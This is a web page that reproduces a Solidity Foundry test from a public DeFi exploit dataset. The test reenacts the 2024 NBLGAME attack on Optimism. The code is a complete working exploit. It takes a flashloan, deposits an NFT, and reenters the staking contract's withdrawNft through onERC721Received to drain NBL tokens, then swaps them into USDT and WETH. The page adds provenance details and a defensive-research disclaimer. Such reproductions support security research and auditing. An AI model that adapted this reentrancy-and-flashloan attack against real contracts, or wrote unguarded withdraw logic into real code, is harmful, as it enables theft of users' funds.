Public reproduction file
src/test/2024-01/NBLGAME_exp.sol
Public reproduction file for dataset entry NBLGAME.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$180K8// Attacker : https://optimistic.etherscan.io/address/0x1fd0a6a5e232eeba8020a40535ad07013ec4ef129// Attack Contracts : https://optimistic.etherscan.io/address/0xe4d41bdd6459198b33cc795ff280cee02d91087b10// https://optimistic.etherscan.io/address/0xfc3b08555b1c328ecf8b8a0ccd85679bf59bba4c (selfdestruct)11// Vuln Contract : https://optimistic.etherscan.io/address/0x5499178919c79086fd580d6c5f332a4253244d9112// Attack Tx : https://app.blocksec.com/explorer/tx/optimism/0xf4fc3b638f1a377cf22b729199a9aeb27fc62fe2983a65c4d14b99ee5c5b232814// @Analysis15// https://twitter.com/SlowMist_Team/status/175052609710691545316// https://twitter.com/AnciliaInc/status/175055842638263503618interface INblNftStake {19 function unlockSlot() external;21 function depositNft(uint256 _tokenid, uint256 _index) external;23 function depositNbl(uint256 _index, uint256 _amount) external;25 function withdrawNft(26 uint256 _index27 ) external;28}30interface IRouterV3 {31 struct ExactInputSingleParams {32 address tokenIn;33 address tokenOut;34 uint24 fee;35 address recipient;36 uint256 amountIn;37 uint256 amountOutMinimum;38 uint160 sqrtPriceLimitX96;39 }41 function exactInputSingle(42 ExactInputSingleParams memory params43 ) external payable returns (uint256 amountOut);44}46contract ContractTest is Test {47 IERC721 private constant NBF = IERC721(0x534e1a8a89548C44BE7abA1c3c27951801940C10);48 IERC20 private constant NBL = IERC20(0x4B03afC91295ed778320c2824bAd5eb5A1d852DD);49 IERC20 private constant USDT = IERC20(0x94b008aA00579c1307B0EF2c499aD98a8ce58e58);50 IERC20 private constant WETH = IERC20(0x4200000000000000000000000000000000000006);51 Uni_Pair_V3 private constant NBL_USDT = Uni_Pair_V3(0xfAF037caAfA9620bFAebc04C298Bf4A104963613);52 IRouterV3 private constant Router = IRouterV3(0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45);53 INblNftStake private constant NblNftStake = INblNftStake(0x5499178919C79086fd580d6c5f332a4253244D91);54 address private constant exploiterEOA = 0x1FD0a6A5e232EebA8020A40535AD07013Ec4ef12;55 address private constant mainAttackContract = 0xE4D41BDD6459198B33Cc795ff280cEE02d91087b;56 bool private reenter = true;58 function setUp() public {59 vm.createSelectFork("optimism", 115_293_068);60 vm.label(address(NBF), "NBF");61 vm.label(address(NBL), "NBL");62 vm.label(address(USDT), "USDT");63 vm.label(address(WETH), "WETH");64 vm.label(address(NBL_USDT), "NBL_USDT");65 vm.label(address(Router), "Router");66 vm.label(address(NblNftStake), "NblNftStake");67 vm.label(exploiterEOA, "exploiterEOA");68 vm.label(mainAttackContract, "mainAttackContract");69 }71 function testExploit() public {72 emit log_named_decimal_uint(73 "Exploiter USDT balance before attack", USDT.balanceOf(address(this)), USDT.decimals()74 );76 emit log_named_decimal_uint(77 "Exploiter WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()78 );80 // Transfering NBF NFT token (id = 737) from main attack contract to helper attack contract which will be exploiting reentrancy vulnerability81 vm.prank(mainAttackContract, exploiterEOA);82 NBF.transferFrom(mainAttackContract, address(this), 737);83 assertEq(NBF.ownerOf(737), address(this));85 NBL_USDT.flash(address(this), NBL.balanceOf(address(NblNftStake)), 0, "");87 NBLToUSDT();88 NBLToWETH();90 emit log_named_decimal_uint(91 "Exploiter USDT balance after attack", USDT.balanceOf(address(this)), USDT.decimals()92 );94 emit log_named_decimal_uint(95 "Exploiter WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()96 );97 }99 function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {100 USDT.approve(address(Router), type(uint256).max);101 USDT.approve(address(NblNftStake), type(uint256).max);102 NBL.approve(address(Router), type(uint256).max);103 NBL.approve(address(NblNftStake), type(uint256).max);104 uint256 returnAmount = NBL.balanceOf(address(NblNftStake));106 NBF.setApprovalForAll(address(NblNftStake), true);107 NblNftStake.unlockSlot();108 NblNftStake.depositNft(737, 0);109 NblNftStake.depositNbl(0, NBL.balanceOf(address(this)));110 // Flawed function. No reentrancy protection111 NblNftStake.withdrawNft(0);113 // Repaying flashloan114 NBL.transfer(address(NBL_USDT), returnAmount + fee0);115 }117 function onERC721Received(118 address operator,119 address from,120 uint256 tokenId,121 bytes calldata data122 ) external returns (bytes4) {123 if (reenter) {124 reenter = false;125 NBF.transferFrom(address(this), address(NblNftStake), 737);126 NblNftStake.withdrawNft(0);127 NblNftStake.depositNft(737, 0);128 }129 return this.onERC721Received.selector;130 }132 function NBLToUSDT() internal {133 IRouterV3.ExactInputSingleParams memory params = IRouterV3.ExactInputSingleParams({134 tokenIn: address(NBL),135 tokenOut: address(USDT),136 fee: 3000,137 recipient: address(this),138 amountIn: (NBL.balanceOf(address(this)) * 9) / 10,139 amountOutMinimum: 0,140 sqrtPriceLimitX96: 0141 });143 Router.exactInputSingle(params);144 }146 function NBLToWETH() internal {147 IRouterV3.ExactInputSingleParams memory params = IRouterV3.ExactInputSingleParams({148 tokenIn: address(NBL),149 tokenOut: address(WETH),150 fee: 3000,151 recipient: address(this),152 amountIn: NBL.balanceOf(address(this)),153 amountOutMinimum: 0,154 sqrtPriceLimitX96: 0155 });157 Router.exactInputSingle(params);158 }159}Analysis
Dataset entry
Public Foundry test for “NBLGAME” (2024-01-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
17 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-01/BarleyFinance_exp.solSame month in the dataset · 106 lines
- src/test/2024-01/Bmizapper_exp.solSame month in the dataset · 81 lines
- src/test/2024-01/CitadelFinance_exp.solSame month in the dataset · 172 lines
- src/test/2024-01/DAO_SoulMate_exp.solSame month in the dataset · 77 lines
- src/test/2024-01/Freedom_exp.solSame month in the dataset · 88 lines
- src/test/2024-01/Gamma_exp.solSame month in the dataset · 158 lines
- src/test/2024-01/LQDX_alert_exp.solSame month in the dataset · 108 lines
- src/test/2024-01/MIC_exp.solSame month in the dataset · 212 lines
- src/test/2024-01/MIMSpell2_exp.solSame month in the dataset · 241 lines
- src/test/2024-01/OrbitChain_exp.solSame month in the dataset · 114 lines
- src/test/2024-01/PeapodsFinance_exp.solSame month in the dataset · 91 lines
- src/test/2024-01/RadiantCapital_exp.solSame month in the dataset · 156 lines
- src/test/2024-01/Shell_MEV_0xa898_exp.solSame month in the dataset · 69 lines
- src/test/2024-01/SocketGateway_exp.solSame month in the dataset · 78 lines
- src/test/2024-01/WiseLending02_exp.solSame month in the dataset · 176 lines
- src/test/2024-01/XSIJ_exp.solSame month in the dataset · 72 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x1fd0a6a5e232eeba8020a40535ad07013ec4ef12
- Attack Contract
0xe4d41bdd6459198b33cc795ff280cee02d91087b
- Attack Tx
0xf4fc3b638f1a377cf22b729199a9aeb27fc62fe2983a65c4d14b99ee5c5b2328
File record
- Name
- NBLGAME
- Path
- src/test/2024-01/NBLGAME_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f3c29fcb1e39c6031495e8e7aa39e775100437e9
- Language
- Solidity
- Size
- 160 lines
- Date
- 2024-01-25
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-01/NBLGAME_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f3c29fcb1e39c6031495e8e7aa39e775100437e9, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.